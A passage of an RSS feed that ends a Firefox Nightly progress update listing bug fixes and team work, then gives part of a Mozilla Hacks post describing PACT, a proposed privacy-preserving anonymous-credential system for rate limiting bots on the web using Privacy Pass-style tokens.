<li> 🌟:23rd: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1812100">Regression: The new swipe-to-navigation indicator stucks for a moment, when deciding not to navigate the other page</a></li>
<li>🌟Akeem Omosanya: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035252">Remove commented-out code in SearchService.sys.mjs</a></li>
<li>Amin Amir:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
</ul>
</li>
<li>🌟Sahaj: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031015">Suggest the default target language for translation after changing the detected source language</a></li>
<li>🌟JIANG Zhirui: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036199">Breakpad build failed on Windows using VS2026 due to removal of stdext</a></li>
<li> John Iweh: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030072">Add “Open in New Tab” and “Open in New Container Tab” options to the context menu for Tabs from Other Devices</a></li>
<li>Jak: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030070">Bookmarks and History – should respect the “When you open a link, image or media in a new tab, switch to it immediately” setting</a></li>
<li>🌟Andy [:rgbcmy]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1611643">Autoplayed next video should also be PIP</a></li>
<li> konyhéa: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930213">“Escape” key should collapse the expanded on hover sidebar launcher even if hover is still active.</a></li>
<li> Pranjali Srivastava:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1898257">Remove icon property from sidebar extensions</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026007">Show language-agnostic SelectTranslations context menu item when the source and target languages are the same</a></li>
</ul>
</li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1532724"> Bug 1532724</a>, fix shipping in Firefox 152) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1595158"> Bug 1595158</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed access to web-accessible resources declared with &lt;all_urls&gt; from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033905"> Bug 2033905</a></li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029092"> Bug 2029092</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li>Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
<ul>
<li>added support for remote debugging (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014064">#2014064</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016121">#2016121</a>)</li>
<li>made sure that calls to History.replaceState are reflected in the UI (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037359">#2037359</a>)</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030260">#2030260</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> fixed the image preview tooltip for relative URLs images in constructed stylesheet (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035503">#2035503</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026228">#2026228</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Amin Amir cleaned up an <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">incorrect variable assignment</a> in our browsingContext module.</li>
<li>Logan Rosen <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036603">updated stale references and broken links</a> in our documentation about Marionette.</li>
<li>Sameem improved the Marionette and WebDriver BiDi <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020302">screenshot commands to enforce maximum allowed dimensions</a>.</li>
<li>Leo McArdle fixed <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030964">the regression in the “log.entryAdded” event, which lacked an error message in the “text” field for the messages of type “error”</a>.</li>
<li>Henrik Skupin fixed an issue in Marionette where <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033769">WebDriver:Navigate and WebDriver:Refresh did not handle errors</a> when the underlying navigation failed.</li>
<li>Henrik Skupin <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1839953">improved geckodriver to detect an early Firefox exit during startup on Android</a>, avoiding up to 60 seconds of unnecessary connection attempts.</li>
<li>Henrik Skupin updated the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028933">geckodriver CI build job to produce a universal macOS binary</a> supporting both x64 and aarch64.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Sylvestre <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023411">ported some linters</a> (e.g. file-whitespace, test-manifest-toml, license, file-perm, rejected-words &amp; more) to Rust to help improve the runtime of the code review bot.</li>
<li>Dale has been working on migration to moz-src for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034040">customkeys</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035086">dom/quota</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035295">odom/geolocation</a>
<ul>
<li><a href="https://arewemozsrcyet.com/">https://arewemozsrcyet.com/</a></li>
</ul>
</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
<ul>
<li>We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.</li>
</ul>
</li>
<li>Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.</li>
<li>Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!</li>
</ul>
<p><img alt="World clock widget in New Tab featuring different time zones for YTO, BER, SYD, and LAX." class="aligncenter wp-image-2079 size-full" height="162" src="https://blog.nightly.mozilla.org/files/2026/06/image3-1.png" width="346"></p>
<h4>Search and Urlbar</h4>
<ul>
<li>Nova (URL Bar Design Refresh)
<ul>
<li>Drew and Daisuke continued their work on <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015612">Nova styling for the Address bar</a> (input and view).</li>
</ul>
</li>
<li>Search and Suggest
<ul>
<li>Drew finalized two bugs for World Cup and sports suggestions, which were landed and uplifted: one to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035322">update the localization string for scheduled games</a> and another to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034350">show both teams’ icons in suggestions</a>. Drew also landed and uplifted a fix for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035353">rich search suggestion icons being forced into a square aspect ratio</a>.</li>
<li>Standard8 updated Ecosia favicons to the latest branding, including QA testing and publishing.</li>
</ul>
</li>
<li>Settings Redesign (SRD)
<ul>
<li>Stephanie landed a test to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021512">ensure search suggestion settings are hidden when quicksuggest is disabled</a>, as well as a patch to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031341">resolve TypeScript issues</a> in search.mjs, and is adding test coverage to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2007397">confirm removed search engines are not displayed in the default engines dropdown</a>.</li>
</ul>
</li>
<li>General URL Bar and Component Updates
<ul>
<li>Daisuke landed implementation of the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1893083">context menu on URL bar results</a>, and a fix to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020177">show the loading URL in the URL bar when starting up with a homepage</a>.
<ul>
<li>Marco is working on several tasks, including a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1756564">PDF download / focus stealing issue</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1924124">allowing arrays to be bound in Sqlite.sys.mjs</a>. Marco also worked on fixes related to Places, such as <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743">avoiding replacing the favicons database if it is not corrupt</a>.</li>
</ul>
</li>
<li>Standard8 finalized the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028423">URL bar test manifest split</a>. Standard8 also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016401">upgraded us to TypeScript 6</a>.</li>
<li>Moritz landed a fix for URL bar abandonment telemetry being recorded when clicking an engine in the unified search button popup (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032973">Bug 2032973</a>), which was also uplifted. Moritz also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034507">simplified search mode switcher item activation in tests</a>, and made it so that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036030">the unified search button popup closes when installing an open search engine</a>.</li>
</ul>
</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li>natural language starting with tab close/undo <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035343">2035343</a> with expandable action log <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031508">2031508</a></li>
</ul>
<p><img alt="Tab close and undo actions in Smart Window accompanied by an expandable log of actions taken" class="aligncenter wp-image-2077 size-full" height="256" src="https://blog.nightly.mozilla.org/files/2026/06/image1-1.png" width="220"></p>
<ul>
<li>assistant rendering feedback up/down <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032994">2032994</a> and markdown table <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027029">2027029</a></li>
<li>nova styling blur <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027877">2027877</a> and suggestions <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026823">2026823</a></li>
<li>accessibility screen reader <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028676">2028676</a> and keyboard focus <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037565">2037565</a></li>
<li>optimize conversation starters extra requests <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030005">2030005</a> and caching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033430">2033430</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Nova token updates occasionally, focused on SRD</li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035942">2035942</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Settings redesign is being tested and will hopefully go out in Firefox 152!</li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web]]></title>
<description><![CDATA[This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve. 
Bots (and privacy-preserving browsers) not welcome 
Browse a news site...]]></description>
<link>https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:27 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="c43"><em><span class="c11 c1">This is the technical companion to our update on Distilled, </span><span class="c11 c1 c17"><a class="c5" href="https://blog.mozilla.org/en/privacy-security/keeping-the-web-open-and-private-in-the-bot-era/">“Keeping the web open and private in the bot era.”</a></span><span class="c11 c1"> Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to </span><span class="c1 c11">solve</span></em><span class="c13 c11 c1"><em>.</em> </span></p>
<h3 class="c24"><span class="c2 c1">Bots (and privacy-preserving browsers) not welcome </span></h3>
<p class="c40"><span class="c0">Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: </span><span class="c13 c11 c1">if we think you might be a bot, you’re not welcome</span><span class="c0">. </span></p>
<p class="c53"><span class="c0">Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse</span><span class="c1">, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans</span><span class="c0">. </span><span class="c0"> For example</span><span class="c1">: SEO comment spam, credential stuffing and DDoSing</span><span class="c0">.</span><span class="c0"> Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors. </span></p>
<p class="c21"><span class="c0">Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/fingerprinting-protections/">dismantling</a></span><span class="c0"> the passive signals that anti-abuse systems depended on to identify and distinguish </span><span class="c0">visitors</span><span class="c0">. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them </span><span class="c3 c1"><a class="c5" href="https://www.usenix.org/system/files/usenixsecurity23-searles.pdf">faster and more reliably</a></span><span class="c0"> than </span><span class="c0">humans</span><span class="c0">. </span></p>
<p class="c33"><span class="c0">Many sites are switching to more invasive mechanisms and now ask visitors to disclose </span><span class="c1">identifying information</span><span class="c0">,</span><span class="c0"> e.g. an email address, a federated login or </span><span class="c1">disabling their VPN</span><span class="c0">. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate. </span></p>
<p class="c38"><span class="c0">This </span><span class="c1">leaves</span><span class="c0"> users </span><span class="c1">with a</span><span class="c0"> dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse. </span></p>
<p class="c44"><span class="c1">Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block </span><span class="c17 c1"><a class="c5" href="https://dl.acm.org/doi/epdf/10.1145/3730567.3732913">both</a></span><span class="c0">. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.</span></p>
<p class="c30"><span class="c0">The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users </span><span class="c1">who</span><span class="c0"> would otherwise want to consume their content or services. New user</span><span class="c1"> </span><span class="c0">agents struggle to access the same content as conventional browsers. </span></p>
<h3 class="c12"><span class="c20 c1">The</span><span class="c20 c1"> Costs of </span><span class="c2 c1">Convenient</span><span class="c2 c1"> Solutions</span></h3>
<p class="c9"><span class="c0">Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.</span></p>
<p class="c9"><span class="c0">Google’s Web Environment Integrity, <a href="https://www.theregister.com/software/2023/11/02/google-abandons-web-environment-integrity-api-proposal/335969">abandoned in 2023</a>, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.</span></p>
<p class="c9"><span class="c0">Apple’s Private Access Tokens, <a href="https://developer.apple.com/news/?id=huqjyh7k">deployed</a> across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.</span></p>
<p class="c9"><span class="c1">However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. </span><span class="c1">Due to PAT’s technical design</span><sup class="c1"><a href="https://hacks.mozilla.org/?p=48374#:~:text=PAT%20requires">[1]</a></sup><span class="c1">, there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would</span><span class="c1"> become tied to having bought expensive hardware from a small, hard to change set of vendors</span><span class="c1">. </span></p>
<p class="c9"><span class="c1">Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.</span></p>
<h3 class="c24"><span class="c2 c1">A Better Path Forward </span></h3>
<p class="c24"><span class="c1">Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they</span><span class="c0"> don’t actually need to know </span><span class="c1">the user’s</span><span class="c0"> identity or </span><span class="c1">receive cryptographic</span><span class="c0"> proof that they’re running approved softwar</span><span class="c1">e. If sites knew their visitors were restricted to a rate </span><span class="c1">limit</span><span class="c1"> set by a site, that would be enough.  </span></p>
<p class="c34"><span class="c1">Rate limits</span><span class="c0"> only make sense if </span><span class="c1">they’re</span><span class="c0"> </span><span class="c1">tied to</span><span class="c0"> something scarce; something an attacker can’t cheaply replicate to evade the limit. </span><span class="c0">Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit. </span></p>
<p class="c56"><span class="c1">However, </span><span class="c0">hardware is just one option for </span><span class="c1">scarcity</span><span class="c0">. Anything a user already has that an attacker can’t trivially spin up at scale will work</span><span class="c1">: e</span><span class="c0">mail addresses and phone numbers are naturally scarce</span><span class="c1">. A paid subscription costs an attacker the same as a real user.  </span><span class="c0">Even maintaining an account on a free service requires </span><span class="c1">some</span><span class="c0"> non-trivial work. </span></p>
<p class="c39"><span class="c0">What if we could use these scarce signals across the web? We</span><span class="c1"> could build </span><span class="c0">an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By </span><span class="c0">opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms. </span></p>
<p class="c39"><span class="c1">As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage. </span></p>
<p class="c35"><span class="c0">The catch is that building </span><span class="c1">a system that can enable this</span><span class="c0"> on the open web whilst </span><span class="c1">maintaining user’s privacy</span><span class="c0"> is genuinely difficult. </span><span class="c1">It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. </span><span class="c0">Letting one site verify a signal from another is </span><span class="c1">the sort of </span><span class="c0">information flow</span><span class="c1"> </span><span class="c0">that privacy-pr</span><span class="c1">eserving </span><span class="c0">browsers have spent the last decade locking down to </span><span class="c1">prevent cross-site tracking</span><span class="c0">. </span></p>
<p class="c35"><span class="c1">Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), </span><span class="c1">it can be a win for both privacy and access.</span></p>
<h3 class="c24"><span class="c2 c1">The Foundations </span></h3>
<p class="c50"><span class="c0">The good news is that the cryptographic foundations for a privacy preserving approach already exist. The </span><span class="c1 c3"><a class="c5" href="https://privacypass.github.io/">Privacy Pass protocol</a></span><span class="c3 c1"><a class="c5" href="https://www.google.com/url?q=https://privacypass.github.io/&amp;sa=D&amp;source=editors&amp;ust=1782228494401139&amp;usg=AOvVaw3uoXdqARBZKjQF5H8uwYKY">,</a></span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.petsymposium.org/2018/files/papers/issue3/popets-2018-0026.pdf">originally developed in 2018</a></span><span class="c0"> to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is </span><span class="c13 c11 c1">unlinkable </span><span class="c0">between issuance and redemption. You prove something to an issuer (e.g. by </span><span class="c1">solving a CAPTCHA</span><span class="c0">), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to. </span></p>
<p><img alt="A diagram showing the protocol flow for Privacy Pass." class="aligncenter size-full wp-image-48375" height="1639" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-1.excalidraw1-scaled.png" width="2560"></p>
<p class="c27"><img alt="" title=""><span class="c20 c1 c57"><strong>Figure 1</strong>: </span><span class="c0"><em>In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.</em> </span></p>
<p class="c52"><span class="c0">Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: </span><span class="c0">Apple</span><span class="c0"> uses it to authenticate users of </span><span class="c3 c1"><a class="c5" href="https://hacks.mozilla.org/feed/">Private Cloud Compute</a></span><span class="c0"> </span><span class="c1">and</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF">Private Rel</a></span><span class="c17 c1"><a class="c5" href="https://www.google.com/url?q=https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF&amp;sa=D&amp;source=editors&amp;ust=1782228494402463&amp;usg=AOvVaw0KGoiSPg-8NLvNvIiSSbPt">ay</a></span><span class="c1"> </span><span class="c0">without linking their activity to their identity, </span><span class="c0">Chrome</span><span class="c0"> uses it for </span><span class="c3 c1"><a class="c5" href="https://github.com/GoogleChrome/ip-protection">two-hop IP protection</a></span><span class="c0">, and </span><span class="c0">Kagi</span><span class="c0"> uses it to provide </span><span class="c17 c1"><a class="c5" href="https://help.kagi.com/kagi/privacy/privacy-pass.html">private search</a></span><span class="c0">. </span><span class="c0">These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them. </span></p>
<p class="c18"><span class="c0">Applying this approach to an open system where any site can act as</span><span class="c0"> an issuer</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://docs.google.com/document/d/1k3QJG2D_Sq4zJiJRn9DfY80hEHuz9UWrJdTt8LbRsMM/edit?tab=t.0#heading=h.r8jxzjcoeumo">brings real challenges</a></span><span class="c0">.</span><span class="c0"> Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. </span><span class="c1">If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. </span><span class="c0">This compounds if </span><span class="c1">sites </span><span class="c0">can learn the set of issuers </span><span class="c1">you have visited</span><span class="c0">, since it becomes a fingerprint which can be used to identify </span><span class="c1">you</span><span class="c0">. </span></p>
<p class="c8"><span class="c3 c1"><a class="c5" href="https://blog.cryptographyengineering.com/2014/11/27/zero-knowledge-proofs-illustrated-primer/">Generic techniques</a></span><span class="c0"> exist for proving a statement in zero knowledge: we can prove that </span><span class="c1">a client</span><span class="c0"> ha</span><span class="c1">s</span><span class="c0"> a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. </span><span class="c0">The generic approach is often slow, but </span><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-orru-zkproof-sigma-protocols-01.html">bespoke approaches</a></span><span class="c0"> tailored to the underlying cryptography can improve this considerably. </span></p>
<p class="c54"><span class="c0">Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, </span><span class="c0">sites are likely to lean towards conservative issuer selection. </span><span class="c1">That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created.</span><span class="c0"> </span></p>
<p class="c32"><span class="c0">To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/partnership-ohttp-prio/">Prio</a></span><span class="c0"> which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour. </span></p>
<p class="c59"><span class="c0">Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per </span><span class="c1">client</span><span class="c0"> basis, for example by increasing rate limits where they become more confident the </span><span class="c1">client</span><span class="c0"> is benign and withdrawing access </span><span class="c1">when abuse is detected</span><span class="c0">. </span></p>
<p class="c47"><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-schlesinger-cfrg-act-00.html">Anonymous Credit Tokens</a></span><span class="c0"> </span><span class="c0">offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing </span><span class="c1">the counter whenever</span><span class="c0"> the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked. </span></p>
<h3 class="c24"><span class="c2 c1">Putting it together </span></h3>
<p class="c19"><span class="c1">So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a </span><a href="https://pactworkshop.com/"><span class="c17 c1">W3C CG Meeting</span></a><span class="c0"> in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens. </span></p>
<p class="c19"><span class="c0">Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an </span><span class="c2 c1">Anchor</span><span class="c0">. To a user who meets the Anchor’s criteria, like having a subscription,</span><span class="c0"> an account in good standing</span><span class="c0">, or a verified phone number, an Anchor issues a batch of </span><span class="c2 c1">Endorsement </span><span class="c0">tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys</span><span class="c1"> </span><span class="c0">scarcity to other sites. </span></p>
<p class="c51"><span class="c0">That’s enough for a simple system where access is </span><span class="c1">either granted or denied</span><span class="c0">. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. </span><span class="c1">The state needed to enforce a rate limit</span><span class="c0"> can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it. </span></p>
<p class="c48"><span class="c0">We’ll call that the party that handles rate limiting for a site a </span><span class="c2 c1">Moderator </span><span class="c0">and the stateful object a </span><span class="c2 c1">Credential</span><span class="c0">. </span><span class="c1">A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. </span><span class="c1">A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit.</span><span class="c0"> </span></p>
<p class="c48"><span class="c0">In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.</span></p>
<p class="c14"><img alt="" title=""><img alt="A diagram showing an overview of the PACT system" class="aligncenter size-full wp-image-48381" height="1655" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw21-scaled.png" width="2560"></p>
<p class="c14"><strong><span class="c1 c20">Figure 2: </span></strong><span class="c1"><em>(1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.</em> </span></p>
<p class="c41"><span class="c0">Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of </span><span class="c1">the </span><span class="c0">Anchors it trusts, but not which one. </span></p>
